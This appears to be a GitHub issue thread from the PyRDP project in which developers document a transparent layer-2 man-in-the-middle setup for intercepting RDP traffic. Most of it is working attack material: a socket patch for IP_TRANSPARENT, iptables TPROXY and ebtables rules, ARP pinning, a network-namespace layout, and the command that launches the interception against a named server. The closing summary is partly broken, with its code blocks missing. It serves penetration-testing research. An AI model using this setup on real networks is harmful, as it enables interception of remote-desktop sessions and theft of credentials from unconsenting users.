Closed obilodeau closed 4 years ago
Ok, we spent more time on this one trying to remove the interface needs an IP where the targets are limitation. The issue is still there but we understand why and the technique has improved in the process. There's also an alternative without an IP present but it requires prior knowledge of the target network (or on the fly configuration) which is not ideal.
Lastly, we might be able to do a fully transparent proxy where the targets don't need to be specified in advance and w/o relying on our bettercap caplet and from a single process not one-per target.
Note that the setup is the same as in this issue's message. Same IPs and layout.
Didn't really change, just tweaks
network:
version: 2
renderer: networkd
ethernets:
enp0s3:
dhcp4: no
enp0s8:
dhcp4: no
# management interface
enp0s9:
dhcp4: yes
bridges:
br0:
interfaces:
- enp0s3
- enp0s8
# if you are confident that your deployment is not going
# to cause a loop you should leave these enabled, otherwise comment them
parameters:
stp: false
forward-delay: 0
@alxbl added IP_TRANSPARENT
support to the client-side socket. Here's a dirty PoC patch. Don't tell him that I posted this code :wink:. He really rushed out this patch for me so don't worry implementation will be cleaner but I wanted to document the whole working thing and this piece is pretty important.
This allows the incoming socket to receive connections not destined to a local address and enables in-kernel interactions with TPROXY iptables rules.
diff --git a/bin/pyrdp-mitm.py b/bin/pyrdp-mitm.py
index 4273295..40d2c62 100755
--- a/bin/pyrdp-mitm.py
+++ b/bin/pyrdp-mitm.py
@@ -18,11 +18,37 @@ from pyrdp.core.mitm import MITMServerFactory
from pyrdp.mitm import MITMConfig, DEFAULTS
from pyrdp.mitm.cli import showConfiguration, configure
from pyrdp.logging import LOGGER_NAMES
+import socket
def main():
config = configure()
- reactor.listenTCP(config.listenPort, MITMServerFactory(config))
+
+ # HACKY TEST
+ ok = False
+ if config.transparent:
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ s.setblocking(0)
+ try:
+ if not s.getsockopt(socket.SOL_IP, socket.IP_TRANSPARENT):
+ s.setsockopt(socket.SOL_IP, socket.IP_TRANSPARENT, 1)
+ ok = True
+ except Exception:
+ pass
+
+ s.bind(('0.0.0.0', config.listenPort))
+ out = s.listen()
+ print(out)
+ print('BOUND TRANSPARENTLY')
+
+ reactor.adoptStreamPort(s.fileno(), socket.AF_INET, MITMServerFactory(config))
+ s.close()
+
+ if not ok:
+ print('FAILED TO BIND TRANSPARENTLY.')
+ reactor.listenTCP(config.listenPort, MITMServerFactory(config))
+
logger = logging.getLogger(LOGGER_NAMES.PYRDP)
logger.info("MITM Server listening on port %(port)d", {"port": config.listenPort})
setup.sh
:
#!/bin/bash -x
# The IP of the RDP server which will receive proxied connections.
SERVER_IP=10.13.37.111
# The mark number to use in iptables (should be fine as-is)
MARK=1
# The routing table ID for custom rules (should be fine as-is)
TABLE_ID=100
# Create a custom routing table for pyrdp traffic
echo "$TABLE_ID pyrdp" >> /etc/iproute2/rt_tables
# this can redirect to localhost now (1)
iptables -t mangle -I PREROUTING -p tcp -d 10.13.37.111 --dport 3389 \
-j TPROXY --tproxy-mark 0x1/0x1 --on-port 3389 --on-ip 127.0.0.1
# Mark RDP traffic intended for clients (2)
iptables -t mangle -A PREROUTING \
-s $SERVER_IP \
-m tcp -p tcp --sport 3389 \
-j MARK --set-mark $MARK
# Set route lookup to the pyrdp table for marked packets.
ip rule add fwmark $MARK lookup $TABLE_ID
# Add a custom route that redirects traffic intended for the outside world to loopback
# So that server-client traffic passes through PyRDP
# This table will only ever be used by RDP so it should not be problematic
ip route add local default dev lo table $TABLE_ID
# If you want the interception to happen at the Layer 2
# Make sure that both your interfaces are bridged together
# WARNING: if you have other important firewall rules, make sure to test the impact of this
modprobe br_netfilter
echo 1 > /proc/sys/net/bridge/bridge-nf-call-iptables
# Target DROP in brouting means out of L2 go route in L3
ebtables -t broute -A BROUTING -i enp0s3 -p ipv4 --ip-dst $SERVER_IP --ip-proto tcp --ip-dport 3389 -j redirect --redirect-target DROP
ebtables -t broute -A BROUTING -i enp0s8 -p ipv4 --ip-src $SERVER_IP --ip-proto tcp --ip-source-port 3389 -j redirect --redirect-target DROP
# recent linux like debian buster
#ebtables-legacy -t broute -A BROUTING -i enp0s8 -p ipv4 --ip-src $SERVER_IP --ip-proto tcp --ip-source-port 3389 -j redirect --redirect-target DROP
# Disable return path filtering
echo 0 > /proc/sys/net/ipv4/conf/default/rp_filter
echo 0 > /proc/sys/net/ipv4/conf/all/rp_filter
echo 0 > /proc/sys/net/ipv4/conf/enp0s3/rp_filter
echo 0 > /proc/sys/net/ipv4/conf/enp0s8/rp_filter
# make work w/o a local IP on br0
# WARNING: unclear if required on not
echo 1 > /proc/sys/net/ipv4/conf/br0/route_localnet
echo 1 > /proc/sys/net/ipv4/conf/enp0s3/route_localnet
# marking socket packets
# WARNING: unclear if required or not but probably good for performance so it will likely stay
iptables -t mangle -N DIVERT
iptables -t mangle -A DIVERT -j MARK --set-mark 1
iptables -t mangle -A DIVERT -j ACCEPT
iptables -t mangle -I PREROUTING -p tcp -m socket -j DIVERT
cleanup.sh: left as an exercise to the reader
In our lab setup, doing something like below is enough to make everything work because when the machine needs the L2 address to reply to a poisoned answer, it has the means to look it up by itself. The alternative is ARP pinning described in option 2.
ip addr add 10.13.37.11/24 dev br0
ARP pin gateways or machines that need to talk to each other. The thought process is: if I'm impersonating 10.13.37.111 and the gateway is 10.13.37.10 then I need to be able to communicate with both on layer 2 on br0
if I don't have his MAC I need to look it up. If I don't have an IP in that segment then I can't.
arp -i br0 -s 10.13.37.10 08:00:27:59:05:fe
This requires a route as well:
ip route add 10.13.37.0/24 dev br0
I want to be able to have a default route on br0
for the stuff we are intercepting and absolutely avoid using it for management traffic. I also want the separate management interface of the interception device to have a default route for Internet access. This will require policy routing which I haven't done yet.
I managed to completely isolate the bridge from the rest of the host using network namespaces. The beauty of the network namespace implementation is that there is only one process who has the ability to interact with the bridge and it is pyrdp. This is guaranteed by the kernel-level namespace isolation.
The MITM machine has:
enp0s3
: Internet-side interfaceenp0s8
: Server to MITM-side interfaceenp0s9
: management interfaceAdditional information required for the attack that is used in the instructions:
10.13.37.10
: IP address of the gateway where we drop the MITM08:00:27:59:05:fe
: MAC address of the gateway where we drop the MITMSetup the host with its management interface and default route as you would like to use. Don't touch the interception interfaces.
# creates the namespace
ip netns add mitm
# gives the interfaces to the namespace, they will disappear from the host and stop working so make sure you have proper access before doing so
ip link set dev enp0s3 netns mitm
ip link set dev enp0s8 netns mitm
# get a bash shell that is inside the namespace, configure the rest from there
ip netns exec mitm /bin/bash
# enable the loopback in the namespace (off by default, required for routing)
ip link set dev lo up
# bridge setup
ip link add name br0 type bridge
ip link set br0 up
ip link set enp0s3 up
ip link set enp0s8 up
ip link set enp0s3 master br0
ip link set enp0s8 master br0
# forward delay to 0
brctl setfd br0 0
Still inside the namespace, run setup.sh
from the previous comment as-is (pasted again here for usability):
#!/bin/bash -x
# The IP of the RDP server which will receive proxied connections.
SERVER_IP=10.13.37.111
# The mark number to use in iptables (should be fine as-is)
MARK=1
# The routing table ID for custom rules (should be fine as-is)
TABLE_ID=100
# Create a custom routing table for pyrdp traffic
echo "$TABLE_ID pyrdp" >> /etc/iproute2/rt_tables
# this can redirect to localhost now (1)
iptables -t mangle -I PREROUTING -p tcp -d 10.13.37.111 --dport 3389 \
-j TPROXY --tproxy-mark 0x1/0x1 --on-port 3389 --on-ip 127.0.0.1
# Mark RDP traffic intended for clients (2)
iptables -t mangle -A PREROUTING \
-s $SERVER_IP \
-m tcp -p tcp --sport 3389 \
-j MARK --set-mark $MARK
# Set route lookup to the pyrdp table for marked packets.
ip rule add fwmark $MARK lookup $TABLE_ID
# Add a custom route that redirects traffic intended for the outside world to loopback
# So that server-client traffic passes through PyRDP
# This table will only ever be used by RDP so it should not be problematic
ip route add local default dev lo table $TABLE_ID
# If you want the interception to happen at the Layer 2
# Make sure that both your interfaces are bridged together
# WARNING: if you have other important firewall rules, make sure to test the impact of this
modprobe br_netfilter
echo 1 > /proc/sys/net/bridge/bridge-nf-call-iptables
# Target DROP in brouting means out of L2 go route in L3
ebtables -t broute -A BROUTING -i enp0s3 -p ipv4 --ip-dst $SERVER_IP --ip-proto tcp --ip-dport 3389 -j redirect --redirect-target DROP
ebtables -t broute -A BROUTING -i enp0s8 -p ipv4 --ip-src $SERVER_IP --ip-proto tcp --ip-source-port 3389 -j redirect --redirect-target DROP
# recent linux like debian buster
#ebtables-legacy -t broute -A BROUTING -i enp0s8 -p ipv4 --ip-src $SERVER_IP --ip-proto tcp --ip-source-port 3389 -j redirect --redirect-target DROP
# Disable return path filtering
echo 0 > /proc/sys/net/ipv4/conf/default/rp_filter
echo 0 > /proc/sys/net/ipv4/conf/all/rp_filter
echo 0 > /proc/sys/net/ipv4/conf/enp0s3/rp_filter
echo 0 > /proc/sys/net/ipv4/conf/enp0s8/rp_filter
# make work w/o a local IP on br0
# WARNING: unclear if required on not
echo 1 > /proc/sys/net/ipv4/conf/br0/route_localnet
echo 1 > /proc/sys/net/ipv4/conf/enp0s3/route_localnet
# marking socket packets
# WARNING: unclear if required or not but probably good for performance so it will likely stay
iptables -t mangle -N DIVERT
iptables -t mangle -A DIVERT -j MARK --set-mark 1
iptables -t mangle -A DIVERT -j ACCEPT
iptables -t mangle -I PREROUTING -p tcp -m socket -j DIVERT
Still inside the namespace, run this:
ip route add 10.13.37.0/24 dev br0
ip route add default via 10.13.37.10 dev br0
arp -i br0 -s 10.13.37.10 08:00:27:59:05:fe
Lastly, still inside the namespace, start pyrdp with:
pyrdp-mitm.py --transparent 10.13.37.111
You will see that the network namespace completely isolates access to the network interfaces, routing tables, iptables/ebtables, etc. From the global namespace you don't see the bridge and from the mitm
namespace you don't see the management interface.
Did not know about net namespaces, this is perfect.
We toyed with the idea of doing L2 transparent proxying instead of L3. This would be more flexible if you need to drop a device on a network segment with DHCP.
It took us more time than I'm willing to admit but here are the rough steps.
Netplan bridge configuration:
In my case,
enp0s3
is the interface on the MITM system with is on the segment shown as (1) above.enp0s8
is the interface on the MITM system on the segment shown as (2) above.setup.sh:
:cleanup.sh
(Warning: it is a bit aggressive on firewall rule deletion, adapt to your needs):Invoking pyrdp (as root!):
I'll merge this with the upstream docs eventually but not now. I wanted to keep track of it so here it is.
*: This is a limitation that we should be able to remove but I couldn't figure it out in a timely fashion.